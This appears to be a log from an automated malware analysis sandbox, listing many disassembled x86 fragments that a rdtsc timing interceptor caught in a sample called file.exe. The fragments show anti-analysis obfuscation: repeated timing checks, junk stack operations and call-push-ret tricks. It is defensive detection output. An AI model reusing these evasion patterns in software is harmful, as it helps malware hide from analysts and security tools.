Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11811E2 second address: 1181200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB776B8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181200 second address: 1181211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC83CB64D36h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181211 second address: 1181215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181215 second address: 118121F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC83CB64D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118121F second address: 1181226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1181226 second address: 118122C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11885F5 second address: 11885F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11885F9 second address: 1188627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB64D3Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC83CB64D47h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188627 second address: 118862D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B53B second address: 118B545 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC83CB64D42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B545 second address: 118B54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B54B second address: 118B57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC83CB64D48h 0x0000000d jo 00007FC83CB64D42h 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FC83CB64D3Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AF29 second address: 118AF40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776B2h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B07B second address: 118B0A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC83CB64D47h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B0A1 second address: 118B0A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B0A6 second address: 118B0E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D44h 0x00000007 jmp 00007FC83CB64D45h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jmp 00007FC83CB64D3Fh 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D46E second address: 118D495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jng 00007FC83CB776E5h 0x0000000b jmp 00007FC83CB776B2h 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007FC83CB776A6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D495 second address: 118D499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D5CA second address: 118D5CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D5CE second address: 118D5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB64D3Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D5E5 second address: 118D5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D5EB second address: 118D5EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D5EF second address: 118D5F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D5F3 second address: 118D607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC83CB64D36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007FC83CB64D38h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D607 second address: 118D60F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D60F second address: 118D613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D613 second address: 118D619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EF1E second address: 118EF29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FC83CB64D36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EF29 second address: 118EF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190824 second address: 119082E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FC83CB64D36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119082E second address: 1190832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11953F1 second address: 11953F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11953F7 second address: 11953FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11953FB second address: 11953FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119470B second address: 1194748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FC83CB776A6h 0x00000009 jmp 00007FC83CB776B7h 0x0000000e jmp 00007FC83CB776AEh 0x00000013 jg 00007FC83CB776A6h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jp 00007FC83CB776A6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194748 second address: 1194767 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC83CB64D3Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jnp 00007FC83CB64D44h 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194A1C second address: 1194A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194A22 second address: 1194A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB64D49h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194A41 second address: 1194A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC83CB776B6h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194BE6 second address: 1194C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC83CB64D36h 0x0000000a jmp 00007FC83CB64D43h 0x0000000f jc 00007FC83CB64D36h 0x00000015 popad 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197A97 second address: 1197AC1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC83CB776A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC83CB776B8h 0x00000011 jne 00007FC83CB776A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197C39 second address: 1197C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C48A second address: 119C4AA instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC83CB776A6h 0x00000008 jno 00007FC83CB776A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnc 00007FC83CB776A8h 0x00000016 jnp 00007FC83CB776ACh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C65B second address: 119C65F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C65F second address: 119C671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FC83CB776AEh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C671 second address: 119C696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC83CB64D51h 0x0000000a jmp 00007FC83CB64D49h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C696 second address: 119C69D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C7F5 second address: 119C814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FC83CB64D4Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C984 second address: 119C99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FC83CB776B5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C99E second address: 119C9CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FC83CB64D4Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C9CE second address: 119C9D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C9D4 second address: 119C9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C9D8 second address: 119C9DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114461E second address: 114468B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007FC83CB64D3Ah 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FC83CB64D38h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov ebx, dword ptr [ebp+124856CDh] 0x00000030 mov dword ptr [ebp+122D2943h], esi 0x00000036 add eax, ebx 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007FC83CB64D38h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 mov cx, 95B5h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push ecx 0x0000005c pop ecx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114468B second address: 114468F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114468F second address: 1144695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144695 second address: 11446DE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC83CB776ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d sub di, 4D00h 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FC83CB776A8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e clc 0x0000002f nop 0x00000030 jc 00007FC83CB776B4h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11446DE second address: 11446E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11446E2 second address: 11446FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007FC83CB776B2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11447A5 second address: 11447DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007FC83CB64D38h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 mov di, D97Ah 0x00000025 push 0000001Eh 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d push eax 0x0000002e pop eax 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D910 second address: 119D916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5A0A second address: 11A5A10 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F68B5 second address: 10F68C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F68C0 second address: 10F691C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D49h 0x00000007 jmp 00007FC83CB64D45h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push edi 0x00000010 jmp 00007FC83CB64D3Ch 0x00000015 pushad 0x00000016 jmp 00007FC83CB64D47h 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3B81 second address: 11A3B90 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC83CB776A6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4926 second address: 11A492A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4BEF second address: 11A4BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4F45 second address: 11A4F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4F49 second address: 11A4F53 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC83CB776A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AACB5 second address: 11AACC7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC83CB64D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FC83CB64D36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADB42 second address: 11ADB46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADB46 second address: 11ADB4C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADB4C second address: 11ADB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADDCC second address: 11ADE06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FC83CB64D43h 0x0000000a push eax 0x0000000b jmp 00007FC83CB64D46h 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FC83CB64D36h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADE06 second address: 11ADE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE0B3 second address: 11AE0C2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC83CB64D36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE0C2 second address: 11AE0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC83CB776A6h 0x0000000a jg 00007FC83CB776A6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE3E4 second address: 11AE403 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC83CB64D47h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE403 second address: 11AE409 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4537 second address: 11B4541 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC83CB64D36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B469E second address: 11B46A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B46A2 second address: 11B46A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B46A6 second address: 11B46C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FC83CB776B3h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B46C4 second address: 11B46CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4C4F second address: 11B4C53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B508B second address: 11B508F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B51F2 second address: 11B51F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B59B3 second address: 11B59CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB64D47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B59CE second address: 11B59D8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC83CB776A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6150 second address: 11B6155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4020 second address: 11B4053 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC83CB776A6h 0x00000008 jmp 00007FC83CB776AFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007FC83CB776AFh 0x00000015 jc 00007FC83CB776A6h 0x0000001b pop edi 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4053 second address: 11B4059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4059 second address: 11B407D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 jmp 00007FC83CB776AEh 0x0000000e pop eax 0x0000000f jmp 00007FC83CB776ACh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B407D second address: 11B4091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC83CB64D3Eh 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4091 second address: 11B40A3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC83CB776A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FC83CB776AEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE6B5 second address: 11BE6D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FC83CB64D46h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C980E second address: 11C9812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
